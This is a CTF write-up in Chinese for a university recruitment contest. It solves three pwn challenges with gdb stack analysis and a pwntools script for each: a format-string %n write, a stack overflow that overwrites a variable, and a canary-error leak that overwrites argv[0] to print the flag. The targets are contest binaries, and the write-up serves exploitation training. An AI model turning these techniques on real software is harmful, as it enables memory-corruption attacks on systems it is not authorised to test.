中山大學招新賽
pwn1
--
修改小數字
%n,不輸出字元,但是把已經成功輸出的字元個數寫入對應的整型指標引數所指的變數。
我們的payload可以設計成 address+(100-4)長度+%x$n //x是format位置和v4位置的距離
利用gdb載入pwn1,我們先輸入%3$p
gdb-peda$ ni 0x1 //輸出0x1 [----------------------------------registers-----------------------------------] EAX: 0x3 EBX: 0x0 ECX: 0x3 EDX: 0xf7faa890 --> 0x0 ESI: 0xf7fa9000 --> 0x1d5d8c EDI: 0x0 EBP: 0xffffd288 --> 0x0 ESP: 0xffffd200 --> 0xffffd21c ("%3$p") EIP: 0x804857d (<main+114>: add esp,0x10) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048574 <main+105>: lea eax,[ebp-0x6c] 0x8048577 <main+108>: push eax 0x8048578 <main+109>: call 0x80483c0 <
[email protected]> => 0x804857d <main+114>: add esp,0x10 0x8048580 <main+117>: mov eax,DWORD PTR [ebp-0x70] 0x8048583 <main+120>: cmp eax,0x64 0x8048586 <main+123>: jne 0x8048598 <main+141> 0x8048588 <main+125>: sub esp,0xc [------------------------------------stack-------------------------------------] 0000| 0xffffd200 --> 0xffffd21c ("%3$p") 0004| 0xffffd204 --> 0xffffd21c ("%3$p") //format的地址 %p位置 0008| 0xffffd208 --> 0xf7fce410 --> 0x80482ee ("GLIBC_2.0") //%2$p位置 0012| 0xffffd20c --> 0x1 //%3$p位置 0016| 0xffffd210 --> 0x0 0020| 0xffffd214 --> 0x1 0024| 0xffffd218 --> 0x7b ('{') //v4在棧中位置 0028| 0xffffd21c ("%3$p") //format在棧中位置 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804857d in main ()
我們的payload設計成 p32(0xffffd218)+%96d+%7$n ,
這個payload的意思,首先%7$n先找到%7$p的位置,而這個位置存著0xffffd218地址,$n修改0xffffd218位置的資料為p32(0xffffd218)+%96d的長度既修改成100
exp如下
from pwn import * #sh = process('./pwn1') sh = remote("sysucsa.me",5050) c_addr = int(sh.recvuntil('\n', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%096d' + '%7$n' print payload #gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive()
pwn2
最簡單的棧資料覆蓋
s在棧中位置為[ebp-20h]
v5在棧中的位置為[ebp-Ch]
s和v5的相對位置為0x14
payload為 'a'*0x14 + '\xcd\xab\x34\x12' //305441741轉成16進製為 1234abcd,
exp如下
from pwn import *
#sh = process('./pwn2')
sh = remote("sysucsa.me",5051)
payload = 'A'*20+'\xcd\xab\x34\x12\n'
print payload
sh.sendline(payload)
sh.interactive()
pwn3
這裡涉及到canary保護機制,我們可以可以利用canary的報錯機制。把我們想要leak的地址把argv[1]覆蓋。
flag存在buffer裡面
.bss:0804A060 public buffer .bss:0804A060 buffer db ? ; ; DATA XREF: main+80↑o
然後算一下argv[0]與buf的相對距離
gdb-peda$ stack 0000| 0xffffd290 --> 0x1 0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3") 0008| 0xffffd298 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
[----------------------------------registers-----------------------------------] EAX: 0xf7faadd8 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) EBX: 0x0 ECX: 0xffffd290 --> 0x1 EDX: 0xffffd2b4 --> 0x0 ESI: 0xf7fa9000 --> 0x1d5d8c EDI: 0x0 EBP: 0xffffd278 --> 0x0 ESP: 0xffffd274 --> 0xffffd290 --> 0x1 EIP: 0x80485a9 (<main+14>: sub esp,0x24) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]
0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")
可以得知argv[0]的位置為0xffffd324
ebp=0xffffd278
buf =ebp-20h = 0xffffd258
argv[0]-buf=0xcc
payload = '\00'*0xcc + p32(0x0804A060)
exp如下
from pwn import *
context.log_level = 'debug'
cn = remote('sysucsa.me', 5052)
#cn = process('pwn_smashes')
cn.recv()
cn.recv()
cn.sendline('\00'*204+p32(0x804A060))#x 52~59
cn.recv()
cn.interactive()
#gdb.attach(cn)
#log.success('flag is:'+flag)